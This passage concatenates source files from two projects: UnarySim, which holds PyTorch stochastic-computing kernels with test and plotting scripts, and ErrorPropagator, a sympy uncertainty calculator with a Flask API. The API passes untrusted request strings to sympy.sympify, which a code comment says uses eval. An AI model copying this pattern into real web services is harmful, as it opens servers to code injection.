torchsummaryX import summary # %% alexnet = models.alexnet().cuda() summary(alexnet, torch.zeros(1, 3, 224, 224).cuda()) # %% resnet18 = torchvision.models.resnet18().cuda() summary(resnet18, torch.zeros(4, 3, 32, 32).cuda()) # %% class Net(nn.Module): def __init__(self): super(Net, self).__init__() self.conv1 = nn.Conv2d(1, 32, 3, 1) self.conv2 = nn.Conv2d(32, 64, 3, 1) self.dropout1 = nn.Dropout(0.25) self.dropout2 = nn.Dropout(0.5) self.fc1 = nn.Linear(9216, 128) self.fc2 = nn.Linear(128, 10) def forward(self, x): x = self.conv1(x) x = F.relu(x) x = self.conv2(x) x = F.relu(x) x = F.max_pool2d(x, 2) x = self.dropout1(x) x = torch.flatten(x, 1) x = self.fc1(x) x = F.relu(x) x = self.dropout2(x) x = self.fc2(x) output = F.log_softmax(x, dim=1) return output convnet = Net().cuda() summary(convnet, torch.zeros(4, 1, 28, 28).cuda()) # %% ``` #### File: UnarySim/kernel/jkff.py ```python import torch class JKFF(torch.nn.Module): """ this module is a shift register for int8 tensor. it takes in unary bits and output shifter register value, as well as the total number of 1s in current shift register. """ def __init__(self, stype=torch.float): super(JKFF, self).__init__() self.jkff = torch.nn.Parameter(torch.zeros(1).type(torch.int8), requires_grad=False) self.stype = stype def forward(self, J, K): j0 = torch.eq(J, 0).type(torch.int8) j1 = 1 - j0 k0 = torch.eq(K, 0).type(torch.int8) k1 = 1 - k0 j0k0 = j0 & k0 j1k0 = j1 & k0 j0k1 = j0 & k1 j1k1 = j1 & k1 self.jkff.data = j0k0 * self.jkff + j1k0 * torch.ones_like(J, dtype=torch.int8) + j0k1 * torch.zeros_like(J, dtype=torch.int8) + j1k1 * (1 - self.jkff) return self.jkff.type(self.stype) ``` #### File: UnarySim/kernel/tanh.py ```python import torch from UnarySim.stream.gen import RNG, SourceGen, BSGen class FSUHardtanh(torch.nn.Identity): """ This module is used for inference in unary domain. """ def __init__(self): super(FSUHardtanh, self).__init__() class ScaleHardtanh(torch.nn.Hardtanh): """ Inputs within range [-1, +1] directly pass through, while inputs outsides will be clipped to -1 and +1. This module is used for training and inference in binary domain. """ def __init__(self): super(ScaleHardtanh, self).__init__() class tanhP1(torch.nn.Module): """ this module is for combinational tanh. The module is able to compute tanh(ax), where a = 1 in this implementation. the detail can be found at "<NAME> and <NAME>. 2017. Computing Arithmetic Functions Using Stochastic Logic by Series Expansion. Transactions on Emerging Topics in Computing (2017).", fig.10. """ def __init__(self, mode="unipolar", rng="Sobol", rng_dim=1, rng_width=8, rtype=torch.float, stype=torch.float, btype=torch.float): super(tanhP1, self).__init__() self.bitwidth = rng_width self.mode = mode self.rng = rng self.rng_dim = rng_dim self.rtype = rtype self.stype = stype self.btype = btype assert mode == "unipolar", "Combinational tanhP1 needs unipolar mode." self.rng_2 = RNG(bitwidth=self.bitwidth, dim=self.rng_dim+0, rng=self.rng, rtype=self.rtype)() self.rng_3 = RNG(bitwidth=self.bitwidth, dim=self.rng_dim+1, rng=self.rng, rtype=self.rtype)() self.rng_4 = RNG(bitwidth=self.bitwidth, dim=self.rng_dim+2, rng=self.rng, rtype=self.rtype)() self.rng_5 = RNG(bitwidth=self.bitwidth, dim=self.rng_dim+3, rng=self.rng, rtype=self.rtype)() # constants used in computation self.n2_c = torch.tensor([62/153]).type(self.rtype) self.n3_c = torch.tensor([ 17/42]).type(self.rtype) self.n4_c = torch.tensor([ 2/5]).type(self.rtype) self.n5_c = torch.tensor([ 1/3]).type(self.rtype) self.sg_n2_c = SourceGen(self.n2_c, self.bitwidth, self.mode, self.rtype)() self.sg_n3_c = SourceGen(self.n3_c, self.bitwidth, self.mode, self.rtype)() self.sg_n4_c = SourceGen(self.n4_c, self.bitwidth, self.mode, self.rtype)() self.sg_n5_c = SourceGen(self.n5_c, self.bitwidth, self.mode, self.rtype)() self.bs_n2_c = BSGen(self.sg_n2_c, self.rng_2, self.stype) self.bs_n3_c = BSGen(self.sg_n3_c, self.rng_3, self.stype) self.bs_n4_c = BSGen(self.sg_n4_c, self.rng_4, self.stype) self.bs_n5_c = BSGen(self.sg_n5_c, self.rng_5, self.stype) # 4 dff in series self.input_d1 = torch.nn.Parameter(torch.zeros(1).type(self.stype), requires_grad=False) self.input_d2 = torch.nn.Parameter(torch.zeros(1).type(self.stype), requires_grad=False) self.input_d3 = torch.nn.Parameter(torch.zeros(1).type(self.stype), requires_grad=False) self.input_d4 = torch.nn.Parameter(torch.zeros(1).type(self.stype), requires_grad=False) self.input_d5 = torch.nn.Parameter(torch.zeros(1).type(self.stype), requires_grad=False) self.input_d6 = torch.nn.Parameter(torch.zeros(1).type(self.stype), requires_grad=False) self.input_d7 = torch.nn.Parameter(torch.zeros(1).type(self.stype), requires_grad=False) self.input_d8 = torch.nn.Parameter(torch.zeros(1).type(self.stype), requires_grad=False) self.n_1_d1 = torch.nn.Parameter(torch.zeros(1).type(self.stype), requires_grad=False) self.n_1_d2 = torch.nn.Parameter(torch.zeros(1).type(self.stype), requires_grad=False) self.n_1_d3 = torch.nn.Parameter(torch.zeros(1).type(self.stype), requires_grad=False) self.bs_idx = torch.nn.Parameter(torch.zeros(1).type(torch.long), requires_grad=False) def tanh_comb_forward(self, input): n_1 = (input.type(torch.int8) & self.input_d4.type(torch.int8)) # Operating units n_2_c = self.bs_n2_c(self.bs_idx) n_3_c = self.bs_n3_c(self.bs_idx) n_4_c = self.bs_n4_c(self.bs_idx) n_5_c = self.bs_n5_c(self.bs_idx) n_2 = 1 - (n_1 & n_2_c.type(torch.int8)) n_3 = 1 - (n_2 & n_3_c.type(torch.int8) & self.n_1_d1.type(torch.int8)) n_4 = 1 - (n_3 & n_4_c.type(torch.int8) & self.n_1_d2.type(torch.int8)) n_5 = 1 - (n_4 & n_5_c.type(torch.int8) & self.n_1_d3.type(torch.int8)) output = (n_5 & self.input_d8.type(torch.int8)) # Update buffers and idx self.n_1_d3.data = self.n_1_d2 self.n_1_d2.data = self.n_1_d1 self.n_1_d1.data = n_1 self.input_d8.data = self.input_d7 self.input_d7.data = self.input_d6 self.input_d6.data = self.input_d5 self.input_d5.data = self.input_d4 self.input_d4.data = self.input_d3 self.input_d3.data = self.input_d2 self.input_d2.data = self.input_d1 self.input_d1.data = input self.bs_idx.data = self.bs_idx + 1 return output def forward(self, input_x): return self.tanh_comb_forward(input_x).type(self.stype) class tanhPN(torch.nn.Module): """ This module is for fsm tanh(Nx/2), positive N/2. Input is bipolar, output is bipolar. "Stochastic neural computation I: Computational elements" """ def __init__(self, mode="bipolar", depth=5, rtype=torch.float, stype=torch.float, btype=torch.float): super(tanhPN, self).__init__() self.depth = depth self.mode = mode self.rtype = rtype self.stype = stype self.btype = btype assert mode == "bipolar", "FSM tanhPNhalf needs bipolar mode." # N is the number of states self.max = torch.nn.Parameter(torch.tensor([2**depth-1]).type(self.btype), requires_grad=False) self.thd = torch.nn.Parameter(torch.tensor([2**(depth-1)]).type(self.btype), requires_grad=False) self.cnt = torch.nn.Parameter(torch.tensor([2**(depth-1)]).type(self.btype), requires_grad=False) def tanh_fsm_forward(self, input): output = torch.zeros_like(input) output = output + torch.ge(self.cnt, self.thd.item()).type(self.stype) self.cnt.data = input.type(self.btype) * (self.cnt + 1) + (1 - input.type(self.btype)) * (self.cnt - 1) self.cnt.data = self.cnt.clamp(0, self.max.item()) return output def forward(self, input): return self.tanh_fsm_forward(input) ``` #### File: test/kernel/test_kernel_div.py ```python import torch from UnarySim.kernel.div import FSUDiv from UnarySim.stream.gen import RNG, SourceGen, BSGen from UnarySim.metric.metric import ProgError import matplotlib.pyplot as plt from matplotlib import ticker, cm from matplotlib.ticker import LinearLocator, FormatStrFormatter import time import math import numpy as np # %% device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu") # %% def test(mode="unipolar", depth_abs=4, depth_kernel=2, depth_sync=2, shiftreg=False, rng="Sobol", rng_dim=4, bitwidth=8, total_cnt=100, savepdf=False): stype = torch.float btype = torch.float rtype = torch.float print("========================================================") print(mode) print("========================================================") if mode == "unipolar": # all values in unipolar are non-negative # dividend is always non greater than divisor # divisor is non-zero low_bound = 0 up_bound = 2**bitwidth elif mode == "bipolar": # values in bipolar are arbitrarily positive or negative # abs of dividend is always non greater than abs of divisor # abs of divisor is non-zero low_bound = -2**(bitwidth-1) up_bound = 2**(bitwidth-1) divisor_list = [] dividend_list = [] for divisor_val in range(up_bound, low_bound-1, -1): divisor_list.append([]) dividend_list.append([]) for dividend_val in range(low_bound, up_bound+1, 1): divisor_list[up_bound-divisor_val].append(divisor_val) dividend_list[up_bound-divisor_val].append(dividend_val) dividend = torch.tensor(dividend_list).type(torch.float).div(up_bound).to(device) divisor = torch.tensor(divisor_list).type(torch.float).div(up_bound).to(device) quotient = dividend.div(divisor) # find the invalid postions in quotient quotient_nan = torch.isnan(quotient) quotient_inf = torch.isinf(quotient) quotient_mask = quotient_nan + quotient_inf quotient[quotient_mask] = 0 quotient = quotient.clamp(-1, 1) result_pe_total = [] for rand_idx in range(1, total_cnt+1): quotientPE = ProgError(quotient, mode=mode).to(device) dividendPE = ProgError(dividend, mode=mode).to(device) dividendSRC = SourceGen(dividend, bitwidth, mode=mode, rtype=rtype)().to(device) divisorPE = ProgError(divisor, mode=mode).to(device) divisorSRC = SourceGen(divisor, bitwidth, mode=mode, rtype=rtype)().to(device) dut_div = FSUDiv(depth_abs=depth_abs, depth_kernel=depth_kernel, depth_sync=depth_sync, shiftreg_abs=shiftreg, mode=mode, rng=rng, rng_dim=rng_dim, stype=stype, btype=btype).to(device) dividendRNG = RNG(bitwidth, rand_idx, rng, rtype)().to(device) dividendBS = BSGen(dividendSRC, dividendRNG, stype).to(device) divisorRNG = RNG(bitwidth, rand_idx+1, rng, rtype)().to(device) divisorBS = BSGen(divisorSRC, divisorRNG, stype).to(device) with torch.no_grad(): start_time = time.time() for i in range(2**bitwidth): dividend_bs = dividendBS(torch.tensor([i])) dividendPE.Monitor(dividend_bs) divisor_bs = divisorBS(torch.tensor([i])) divisorPE.Monitor(divisor_bs) quotient_bs = dut_div(dividend_bs, divisor_bs) quotientPE.Monitor(quotient_bs) # get the result for different rng result_pe = quotientPE()[1].cpu().numpy() result_pe[quotient_mask.cpu().numpy()] = np.nan result_pe_total.append(result_pe) # get the result for different rng result_pe_total = np.array(result_pe_total) ####################################################################### # check the error of all simulation ####################################################################### result_pe_total_no_nan = result_pe_total[~np.isnan(result_pe_total)] print("RMSE:{:1.4}".format(math.sqrt(np.mean(result_pe_total_no_nan**2)))) print("MAE: {:1.4}".format(np.mean(np.abs(result_pe_total_no_nan)))) print("bias:{:1.4}".format(np.mean(result_pe_total_no_nan))) print("max: {:1.4}".format(np.max(result_pe_total_no_nan))) print("min: {:1.4}".format(np.min(result_pe_total_no_nan))) ####################################################################### # check the error according to input value ####################################################################### avg_total = np.mean(result_pe_total, axis=0) avg_total[quotient_mask.cpu().numpy()] = 0 fig, ax = plt.subplots() fig.set_size_inches(5.5, 4) axis_len = quotientPE()[1].size()[0] divisor_y_axis = [] dividend_x_axis = [] for axis_index in range(axis_len): divisor_y_axis.append((up_bound-axis_index/(axis_len-1)*(up_bound-low_bound))/up_bound) dividend_x_axis.append((axis_index/(axis_len-1)*(up_bound-low_bound)+low_bound)/up_bound) X, Y = np.meshgrid(dividend_x_axis, divisor_y_axis) Z = avg_total levels = [-0.09, -0.06, -0.03, 0.00, 0.03, 0.06, 0.09] cs = plt.contourf(X, Y, Z, levels, cmap=cm.RdBu, extend="both") cbar = fig.colorbar(cs) # plt.tight_layout() plt.xticks(np.arange(low_bound/up_bound, up_bound/up_bound+0.1, step=0.5)) # ax.xaxis.set_ticklabels([]) plt.yticks(np.arange(low_bound/up_bound, up_bound/up_bound+0.1, step=0.5)) # ax.yaxis.set_ticklabels([]) if savepdf is True: plt.savefig("div-"+mode+"-bw"+str(bitwidth)+"-k"+str(depth_kernel)+"-ISCB"+".pdf", dpi=300, bbox_inches='tight') plt.show() plt.close() # %% test(mode="unipolar", depth_abs=3, depth_kernel=2, depth_sync=2, shiftreg=False, rng="Sobol", rng_dim=4, total_cnt=100, savepdf=False) test(mode="bipolar", depth_abs=3, depth_kernel=2, depth_sync=2, shiftreg=False, rng="Sobol", rng_dim=4, total_cnt=100, savepdf=False) ``` #### File: test/kernel/test_kernel_linear_fxp_hub_compare.py ```python import torch from UnarySim.kernel.linear import * import matplotlib.pyplot as plt import time import math import numpy as np # %% device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu") # %% def test(rounding = "round", abs_err = True): ufc_err_min_list = [] ufc_err_max_list = [] ufc_err_mean_list = [] ufc_err_std_list = [] ofc_err_min_list = [] ofc_err_max_list = [] ofc_err_mean_list = [] ofc_err_std_list = [] ifc_err_min_list = [] ifc_err_max_list = [] ifc_err_mean_list = [] ifc_err_std_list = [] x_label = [] for bitwidth in range(6, 13): cycle = 2**(bitwidth-1) in_feature = 2 out_feature = 2**12 bias = False input = torch.cat(2*[(torch.arange(0, out_feature)/out_feature - 0.5).unsqueeze(1)], 1).to(device) input[:, 1] = 0. fc = torch.nn.Linear(in_feature, out_feature, bias=bias).to(device) fc.weight.data = torch.cat(2*[(torch.arange(0, out_feature)/out_feature - 0.5).unsqueeze(1)], 1).to(device) fc.weight.data[:, 1] = 0. fc_o = fc(input) ufc = HUBLinear(in_feature, out_feature, bias=bias, binary_weight=fc.weight.data, binary_bias=fc.bias, cycle=cycle, rounding=rounding).to(device) ufc_o = ufc(input) ofc = FxpLinear(in_feature, out_feature, bias=bias, binary_weight=fc.weight.data, binary_bias=fc.bias, bitwidth=bitwidth, keep_res="output", more_res="input", rounding=rounding).to(device) ofc_o = ofc(input) ifc = FxpLinear(in_feature, out_feature, bias=bias, binary_weight=fc.weight.data, binary_bias=fc.bias, bitwidth=bitwidth, keep_res="input", more_res="input", rounding=rounding).to(device) ifc_o = ifc(input) if abs_err is True: ufc_err = (ufc_o - fc_o) ofc_err = (ofc_o - fc_o) ifc_err = (ifc_o - fc_o) else: ufc_err = (ufc_o - fc_o) / fc_o ofc_err = (ofc_o - fc_o) / fc_o ifc_err = (ifc_o - fc_o) / fc_o ufc_err_min_list.append(np.nanmin(ufc_err.cpu().detach().numpy())) ufc_err_max_list.append(np.nanmax(ufc_err.cpu().detach().numpy())) ufc_err_mean_list.append(np.nanmean(np.abs(ufc_err.cpu().detach().numpy()))) ufc_err_std_list.append(np.nanstd(ufc_err.cpu().detach().numpy())) ofc_err_min_list.append(np.nanmin(ofc_err.cpu().detach().numpy())) ofc_err_max_list.append(np.nanmax(ofc_err.cpu().detach().numpy())) ofc_err_mean_list.append(np.nanmean(np.abs(ofc_err.cpu().detach().numpy()))) ofc_err_std_list.append(np.nanstd(ofc_err.cpu().detach().numpy())) ifc_err_min_list.append(np.nanmin(ifc_err.cpu().detach().numpy())) ifc_err_max_list.append(np.nanmax(ifc_err.cpu().detach().numpy())) ifc_err_mean_list.append(np.nanmean(np.abs(ifc_err.cpu().detach().numpy()))) ifc_err_std_list.append(np.nanstd(ifc_err.cpu().detach().numpy())) x_label.append(2**(bitwidth-1)) return ufc_err_min_list, ufc_err_max_list, ufc_err_mean_list, ufc_err_std_list, ofc_err_min_list, ofc_err_max_list, ofc_err_mean_list, ofc_err_std_list, ifc_err_min_list, ifc_err_max_list, ifc_err_mean_list, ifc_err_std_list, x_label # %% rounding = "round" abs_err = True ufc_err_min_list, ufc_err_max_list, ufc_err_mean_list, ufc_err_std_list, ofc_err_min_list, ofc_err_max_list, ofc_err_mean_list, ofc_err_std_list, ifc_err_min_list, ifc_err_max_list, ifc_err_mean_list, ifc_err_std_list, x_label = test(rounding, abs_err) print(ufc_err_mean_list) print(ufc_err_std_list) print() print(ofc_err_mean_list) print(ofc_err_std_list) print() print(ifc_err_mean_list) print(ifc_err_std_list) print() print(x_label) # %% import matplotlib.pyplot as plt import matplotlib import numpy as np font = {'family':'Times New Roman', 'size': 6} matplotlib.rc('font', **font) my_dpi = 300 fig_h = 1 fig_w = 3.3115 # construct some data like what you have: x = np.array([i for i in range(len(ufc_err_mean_list))]) means1 = np.array(ufc_err_mean_list) stds1 = np.array(ufc_err_std_list) mins1 = np.array(ufc_err_min_list) maxs1 = np.array(ufc_err_max_list) means2 = np.array(ofc_err_mean_list) stds2 = np.array(ofc_err_std_list) mins2 = np.array(ofc_err_min_list) maxs2 = np.array(ofc_err_max_list) means3 = np.array(ifc_err_mean_list) stds3 = np.array(ifc_err_std_list) mins3 = np.array(ifc_err_min_list) maxs3 = np.array(ifc_err_max_list) x_label = ['6-32', '7-64', '8-128', '9-256', '10-512', '11-1024', '12-2048'] width = 0.20 fig, ax = plt.subplots(figsize=(fig_w, fig_h)) ax.plot(x, means1, "-o", label="uSystolic", color="#7A81FF", ms=4) ax.fill_between(x, means1-stds1, means1+stds1, alpha=0.3, color="#7A81FF", edgecolor=None) ax.plot(x, means2, "-s", label="FXP-o-res", color="#FF7F7F", ms=4) ax.fill_between(x, means2-stds2, means2+stds2, alpha=0.3, color="#FF7F7F", edgecolor=None) ax.plot(x, means3, "-^", label="FXP-i-res", color="#D783FF", ms=4) ax.fill_between(x, means3-stds3, means3+stds3, alpha=0.3, color="#D783FF", edgecolor=None) ax.set_xticks(x) ax.set_xticklabels(x_label) ax.set_yscale('linear') ax.set_yticks([0, 0.01, 0.02]) ax.set_yticklabels(["0.00", "0.01", "0.02"]) ax.legend(loc="upper right", ncol=3, frameon=False) fig.tight_layout() plt.show() fig.savefig("test_kernel_linear_fxp_hub_compare_abs_err.pdf", bbox_inches='tight', dpi=my_dpi, pad_inches=0.02) # %% rounding = "round" abs_err = False ufc_err_min_list, ufc_err_max_list, ufc_err_mean_list, ufc_err_std_list, ofc_err_min_list, ofc_err_max_list, ofc_err_mean_list, ofc_err_std_list, ifc_err_min_list, ifc_err_max_list, ifc_err_mean_list, ifc_err_std_list, x_label = test(rounding, abs_err) print(ufc_err_mean_list) print(ufc_err_std_list) print() print(ofc_err_mean_list) print(ofc_err_std_list) print() print(ifc_err_mean_list) print(ifc_err_std_list) print() print(x_label) # %% import matplotlib.pyplot as plt import matplotlib import numpy as np font = {'family':'Times New Roman', 'size': 6} matplotlib.rc('font', **font) my_dpi = 300 fig_h = 1 fig_w = 3.3115 # construct some data like what you have: x = np.array([i for i in range(len(ufc_err_mean_list))]) means1 = np.array(ufc_err_mean_list) stds1 = np.array(ufc_err_std_list) mins1 = np.array(ufc_err_min_list) maxs1 = np.array(ufc_err_max_list) means2 = np.array(ofc_err_mean_list) stds2 = np.array(ofc_err_std_list) mins2 = np.array(ofc_err_min_list) maxs2 = np.array(ofc_err_max_list) means3 = np.array(ifc_err_mean_list) stds3 = np.array(ifc_err_std_list) mins3 = np.array(ifc_err_min_list) maxs3 = np.array(ifc_err_max_list) x_label = ['6-32', '7-64', '8-128', '9-256', '10-512', '11-1024', '12-2048'] width = 0.20 fig, ax = plt.subplots(figsize=(fig_w, fig_h)) ax.plot(x, means1, "-o", label="uSystolic", color="#7A81FF", ms=4) ax.fill_between(x, means1-stds1, means1+stds1, alpha=0.3, color="#7A81FF", edgecolor=None) ax.plot(x, means2, "-s", label="FXP-o-res", color="#FF7F7F", ms=4) ax.fill_between(x, means2-stds2, means2+stds2, alpha=0.3, color="#FF7F7F", edgecolor=None) ax.plot(x, means3, "-^", label="FXP-i-res", color="#D783FF", ms=4) ax.fill_between(x, means3-stds3, means3+stds3, alpha=0.3, color="#D783FF", edgecolor=None) ax.set_xticks(x) ax.set_xticklabels(x_label) ax.set_yscale('linear') ax.set_yticks([0, 0.4, 0.8]) ax.set_yticklabels(["0.00", "0.40", "0.80"]) # ax.legend(loc="upper right", ncol=3, frameon=False) fig.tight_layout() plt.show() fig.savefig("test_kernel_linear_fxp_hub_compare_rel_err.pdf", bbox_inches='tight', dpi=my_dpi, pad_inches=0.02) # %% ``` #### File: test/metric/test_metric_normstability_worst.py ```python import torch import math from UnarySim.stream.gen import RNG, SourceGen, BSGen from UnarySim.metric.metric import NormStability, NSbuilder import matplotlib.pyplot as plt import time import math # %% def worst_stb(dep_it=[6],threshold=0.05,mod="unipolar"): for dep in dep_it: plt.figure(figsize = (4,3)) len = 2**dep temp = [] T = threshold x = [] y = [] for ite in range(len + 1): val = torch.tensor([1.0*ite/len]) x.append(val.item()) normstb = NormStability(val, mode=mod, threshold=T).cpu() rng = RNG(bitwidth=dep, dim=1, rng="Race")() if val < 0.5: src = SourceGen(val, dep, mod)() else: src = SourceGen(1-val, dep, mod)() bs = BSGen(src, rng) idx = torch.zeros(1).type(torch.float) for j in range(len): if val < 0.5: out = bs(idx) else: out = 1 - bs(idx) normstb.Monitor(out) idx = idx.add(1) y.append(normstb()) plt.plot(x,y) plt.xlabel("value") plt.ylabel("min_stb") plt.title("Distribution of min_stb for dep=%d"%dep + ", T=%f"%threshold) plt.show() # %% worst_stb([6,7,8]) # %% def max_stb(dep_it=[6],threshold=0.05): for dep in dep_it: plt.figure(figsize = (4,3)) len = 2**dep temp = [] T = threshold x = [] y = [] for ite in range(len + 1): val = torch.tensor([1.0*ite/len]) x.append(val.item()) normstb = NormStability(val, mode="unipolar", threshold=T).cpu() rng = RNG(bitwidth=dep, dim=1, rng="Race")() if val < 0.5: src = SourceGen(val, dep, "unipolar")() else: src = SourceGen(1-val, dep, "unipolar")() bs = BSGen(src, rng) idx = torch.zeros(1).type(torch.float) for j in range(len): if val < 0.5: out = bs(idx) else: out = 1 - bs(idx) normstb.Monitor(out) idx = idx.add(1) normstb() y.append(normstb.max_stab) plt.plot(x,y) plt.xlabel("value") plt.ylabel("max_stb") plt.title("Distribution of max_stb for dep=%d"%dep + ", T=%f"%threshold) plt.show() # %% max_stb([6,7,8]) # %% ## Test on threshold for t in range(10): threshold = 0.05 + t*0.05 worst_stb([6,7,8], threshold) # %% def worst_stb_bipolar(dep_it=[6],threshold=0.05,mod="bipolar"): for dep in dep_it: plt.figure(figsize = (4,3)) len = 2**dep temp = [] T = threshold x = [] y = [] for ite in range(len + 1): val = torch.tensor([2*(1.0*ite/len)-1]) x.append(val.item()) normstb = NormStability(val, mode=mod, threshold=T).cpu() rng = RNG(bitwidth=dep, dim=1, rng="Race")() if val < 0: src = SourceGen(val, dep, mod)() else: src = SourceGen(-val, dep, mod)() bs = BSGen(src, rng) idx = torch.zeros(1).type(torch.float) for j in range(len): if val < 0: out = bs(idx) else: out = 1 - bs(idx) normstb.Monitor(out) idx = idx.add(1) y.append(normstb()) plt.plot(x,y) plt.xlabel("value") plt.ylabel("min_stb") plt.title("Distribution of min_stb for dep=%d"%dep + ", T=%f"%threshold) plt.show() # %% worst_stb_bipolar([6,7,8],0.05,"bipolar") # %% ```
{ "source": "JingjieYang/ErrorPropagator", "score": 3 }
#### File: JingjieYang/ErrorPropagator/core.py ```python import sympy from sympy.assumptions.assume import AppliedPredicate, global_assumptions from typing import Dict, List, Union a, b, c = sympy.symbols('a b c') d_a, d_b, d_c = sympy.symbols('Δa Δb Δc') class Expression: args: List[sympy.Symbol] expr: sympy.Expr def __init__(self, args: List[sympy.Symbol], expr: sympy.Expr): """Initialize an Expression instance with a sympy expression and its arguments. :param args: the variables in the expression :param expr: the mathematical expression >>> Expression([a, b, c], a + b + c) f(a, b, c) = a + b + c >>> Expression([a, b, c], a * b / c) f(a, b, c) = a*b/c >>> Expression([a, b, c], sympy.root(a ** b, c)) f(a, b, c) = (a**b)**(1/c) """ self.args = args self.expr = expr def __repr__(self) -> str: """Show this expression as a mathematical function. :rtype str >>> str(Expression([a], a * sympy.pi)) 'f(a) = pi*a' >>> repr(Expression([], sympy.E)) 'f() = E' """ if len(self.args) == 1: return f"f({self.args[0]}) = {self.expr}" return f"f{tuple(self.args)} = {self.expr}" def evaluate(self, values: Dict[Union[str, sympy.Symbol], float], precision: int =3) -> sympy.Expr: """Evaluate the expression with the given values. :param values: a dictionary mapping all the sympy symbols in the args to numeric values :param precision: the number of digits in the results :return: the result of the evaluation as an sympy expression >>> Expression([a, b, c], a + b + c).evaluate({a: 1, b: 2, c: 3}) 6.00 >>> Expression([a, b, c], a ** b + c).evaluate({'a': c, 'b': 1}) 2.0*c """ return self.expr.subs(values).evalf(precision) def calculate_absolute_uncertainty(self, *assumptions: List[AppliedPredicate], refine: bool = False, delta_char: str = '\\Delta ') -> 'Expression': """Calculate the absolute uncertainty in the expression (IB way), assuming all args given are independent. :return: the absolute uncertainty of this expression :rtype: Expression >>> Expression([a], c * a).calculate_absolute_uncertainty(sympy.Q.positive(c), refine=True, delta_char='Δ') f(Δa) = c*Δa >>> Expression([a, b, c], a + b - c).calculate_absolute_uncertainty(refine=True, delta_char='Δ') f(Δa, Δb, Δc) = Δa + Δb + Δc """ uncertainty_expr = sympy.Integer(0) # just in case uncertainty_args = [] global_assumptions.add(*assumptions) for var in self.args: d_var = sympy.Symbol(delta_char + sympy.latex(var)) uncertainty_args.append(d_var) uncertainty_expr += sympy.Abs(self.expr.diff(var)) * d_var global_assumptions.add(sympy.Q.positive(var)) if refine: uncertainty_expr = sympy.refine(uncertainty_expr) global_assumptions.clear() return Expression(uncertainty_args, uncertainty_expr) def calculate_fractional_uncertainty(self, *assumptions: List[AppliedPredicate], refine: bool = False, delta_char: str = '\\Delta ') -> 'Expression': """Calculate the absolute uncertainty in the expression (IB way), assuming all args given are independent. :return: the fractional uncertainty of this expression :rtype: Expression >>> Expression([a, b, c], a * b / c).calculate_fractional_uncertainty(refine=True, delta_char='Δ') f(Δa, Δb, Δc) = Δc/c + Δb/b + Δa/a >>> Expression([a], a ** b).calculate_fractional_uncertainty(sympy.Q.positive(b), refine=True, delta_char='Δ') f(Δa) = b*Δa/a """ absolute_uncertainty = self.calculate_absolute_uncertainty(*assumptions, refine=refine, delta_char=delta_char) frac_uncertainty_expr = sympy.Integer(0) if type(absolute_uncertainty.expr) == sympy.Add: for addend in absolute_uncertainty.expr.args: frac_uncertainty_expr += addend / self.expr elif type(absolute_uncertainty.expr) == sympy.Mul or type(absolute_uncertainty) == sympy.Pow: frac_uncertainty_expr = absolute_uncertainty.expr / self.expr else: frac_uncertainty_expr = sympy.Mul(absolute_uncertainty.expr, sympy.Pow(self.expr, -1), evaluate=False) return Expression(absolute_uncertainty.args, frac_uncertainty_expr) def to_latex(self) -> str: r"""Get the latex form of this expression. :rtype: str >>> Expression([a, b, c], a + b + c).to_latex() 'a + b + c' >>> Expression([a, b, c], a * b / c).to_latex() '\\frac{a b}{c}' >>> Expression([a, b, c], sympy.root(a ** b, c)).to_latex() '\\left(a^{b}\\right)^{\\frac{1}{c}}' """ return sympy.latex(self.expr) @classmethod def from_string(cls, args_list: List[str], string: str, constants: Dict[str, float] = None) -> 'Expression': """Parse a string expression. :param string: expression as a string of python expressions :param args_list: the list of args / independent variables of the expression as strings :param constants: a list of local variables that are considered while parsing :return: an expression taking in the given args >>> Expression.from_string(['x'], 'sqrt(x) ^ y') f(x) = (sqrt(x))**y >>> Expression.from_string(['m'], 'm * g', constants={'g': 9.81}) f(m) = 9.81*m """ parsed_expr = sympy.sympify(string, evaluate=False, locals=constants) # note: uses eval args = [symbol for symbol in parsed_expr.atoms(sympy.Symbol) if str(symbol) in args_list] return cls(args, parsed_expr) ``` #### File: JingjieYang/ErrorPropagator/server.py ```python from flask import Flask, render_template, send_from_directory, request, jsonify from flask_cors import CORS from core import Expression from constants import CONSTANTS, Ar import sympy app = Flask(__name__, static_folder='build/static', template_folder='build/' ) CORS(app) ######### # Files ######### @app.route('/', defaults={'expr': ''}) @app.route('/<path:expr>', methods=['GET']) def run_app(expr): print(f"Load {expr}") return render_template('index.html') @app.route('/favicon.ico') def send_favicon(): return send_from_directory('build', 'favicon.ico') ####### # API ####### @app.route('/parse', methods=['POST']) def get_symbols(): """Get the symbols in a string expression. :return: a json object with the following keys: - success: true if the expression was evaluated successfully, false otherwise - symbols: a list of the symbols as 2-element lists of plain string and latex - latex: the latex version of the string expression """ str_expr = request.get_json().get('expr') use_constants = request.get_json().get('use_constants', False) try: expr = sympy.sympify(str_expr, evaluate=False, locals=CONSTANTS if use_constants else {'Ar': Ar}) success = True symbols = expr.atoms(sympy.Symbol) str_symbols = sorted([(str(symbol), sympy.latex(symbol)) for symbol in symbols]) expression = sympy.latex(sympy.sympify(str_expr)) except Exception as e: success = False str_symbols = [] expression = '' print(e) return jsonify({ 'success': success, 'symbols': str_symbols, 'latex': expression }) @app.route('/calculate', methods=['POST']) def calculate_uncertainties(): """Evaluate the expression at the given values, and calculate the expression and value of the absolute and fractional uncertainties. :return: a json object with the following keys: - success: true if the calculations were performed without error in time, false otherwise - value: the value obtained by evaluating the given expression at the given values - absoluteUncertaintyExpr: the expression of the absolute uncertainty - absoluteUncertainty: the value of the absolute uncertainty - fractionalUncertaintyExpr: the expression of the fractional uncertainty - percentageUncertainty: the value of the fractional uncertainty :return: """ str_expr = request.get_json().get('expr', '') str_args = request.get_json().get('args', []) str_vars = request.get_json().get('vars', []) # positive vars values = request.get_json().get('values', {}) prec = request.get_json().get('prec', 3) refine = request.get_json().get('refine', False) use_constants = request.get_json().get('use_constants', False) try: expr = Expression.from_string(str_args, str_expr, constants=CONSTANTS if use_constants else {'Ar': Ar}) assumptions = [sympy.Q.positive(sympy.Symbol(var)) for var in str_vars] absolute_uncertainty_expr = expr.calculate_absolute_uncertainty(*assumptions, refine=refine) fractional_uncertainty_expr = expr.calculate_fractional_uncertainty(*assumptions, refine=refine) if use_constants: values.update(CONSTANTS) return jsonify({ "success": True, "value": sympy.latex(expr.evaluate(values, precision=prec)), "absoluteUncertaintyExpr": absolute_uncertainty_expr.to_latex(), "absoluteUncertainty": sympy.latex(absolute_uncertainty_expr.evaluate(values, precision=prec)), "fractionalUncertaintyExpr": 